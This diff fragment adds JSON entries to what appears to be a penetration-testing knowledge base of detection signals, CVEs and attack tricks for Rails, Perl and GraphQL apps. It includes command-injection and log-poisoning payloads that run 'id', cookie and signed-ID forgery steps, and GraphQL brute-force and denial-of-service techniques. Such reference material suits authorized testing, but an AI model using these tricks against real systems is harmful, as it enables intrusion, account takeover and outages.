+      "signals": [
+        "_session_id cookie (signed+encrypted, secret_key_base derived)",
+        "Rack/Sinatra/Rails stack traces + Rack headers",
+        "config/master.key, credentials.yml.enc, Gemfile.lock"
+      ],
+      "vulns": [
+        "Arbitrary file upload to config/initializers/ → boot-time RCE (CVE-2024-46986 Camaleon)",
+        "Active Storage image transformation command injection (CVE-2025-24293, mini_magick)",
+        "Rack::Static LFI / path traversal (CVE-2025-27610)",
+        "ReDoS family: Rack Content-Type (CVE-2024-25126), REXML (CVE-2024-49761), CGI cookie (CVE-2025-27219/27220)",
+        "Nested mass assignment via permit! on sub-object; secret_key_base → cookie/signed_id forgery; log injection → RCE via load + Pathname.cleanpath"
+      ],
+      "tricks": [
+        "Upload .rb into config/initializers/ or eager-load paths to get boot-time code exec",
+        "Forged cookie: ActiveSupport::MessageEncryptor aes-256-gcm + KeyGenerator(secret_key_base) decrypt→modify role→re-sign",
+        "Forge signed_id/sgid (find_signed!, GlobalID::Locator.locate_signed) for IDOR→authz bypass",
+        "CVE-2025-24293: image_tag blob.variant(params[:t]=>params[:v]) fuzz transform names to reach MiniMagick exec",
+        "Log poison: %0A][0]=1;system(\"id\")#://../../../../logs/error.log then load cleanpath-resolved log"
+      ]
+    },
+    {
+      "framework": "Perl",
+      "signals": [
+        ".pl/.pm endpoints + mod_perl handler registration in httpd.conf",
+        "CGI.pm / backticks / qx// usage",
+        "Dell/EMC-like appliance Perl modules"
+      ],
+      "vulns": [
+        "Command injection via backticks/qx//, one-arg system STRING, two-arg open 'cmd |'",
+        "Pre-auth RCE via raw $r->uri() concatenated into shell command (Dell UnityVSA CVE-2025-36604)",
+        "IPC::Open3 single-string shell handling + explicit /bin/sh -c sinks"
+      ],
+      "tricks": [
+        "GET /ui/health;id with separators ; && | $() %0A; end-string payloads like ;id#",
+        "Unauthenticated login-redirect branch (type=='login') to reach getCASURL backtick sink",
+        "Grep for qx//, open\\s*\\(|, system\\(\" and trace sink→$r entry for pre-auth reachability",
+        "Patch-diff modules for inconsistent quoting between branches"
+      ]
+    },
+    {
+      "framework": "GraphQL",
+      "signals": [
+        "/graphql, /graphiql, /graphql/console, /api/graphql paths",
+        "query{__typename} → {\"data\":{\"__typename\":\"Query\"}}",
+        "Introspection __schema responses; engine fingerprints (graphw00f)"
+      ],
+      "vulns": [
+        "Introspection schema disclosure + broken object-level authorization (BOLA) via query variables",
+        "DoS via alias/directive/field duplication, array batching, @defer/@stream amplification",
+        "CSRF via form-urlencoded/GET + cross-site WebSocket hijacking",
+        "Multipart Upload scalar abuse (CSRF, variable reuse, orphan file parts)",
+        "Engine CVEs: async-graphql directive overload (CVE-2024-47614), graphql-java ENF depth bypass (CVE-2024-40094), WPGraphQL SSRF→RCE (CVE-2023-23684), Apollo Gateway planner DoS (CVE-2025-32031)"
+      ],
+      "tricks": [
+        "Alias-based brute-force / rate-limit bypass: isValidDiscount1..N in one request; batching 1000s of credential pairs",
+        "Bypass introspection filters with newline after __schema, or switch GET/form-urlencoded/WebSocket",
+        "APQ is not a safelist: send unknown sha256Hash → on PersistedQueryNotFound resend with full query string",
+        "updateProfile(username:INJECT) chained/unauthorized mutations; forged schema via error-based clairvoyance/InQL bruteforcer",
+        "@include(if:true) x N and recursive fragments ...A/...B to exhaust planner/parser"
+      ]
+    }
+  ]
+}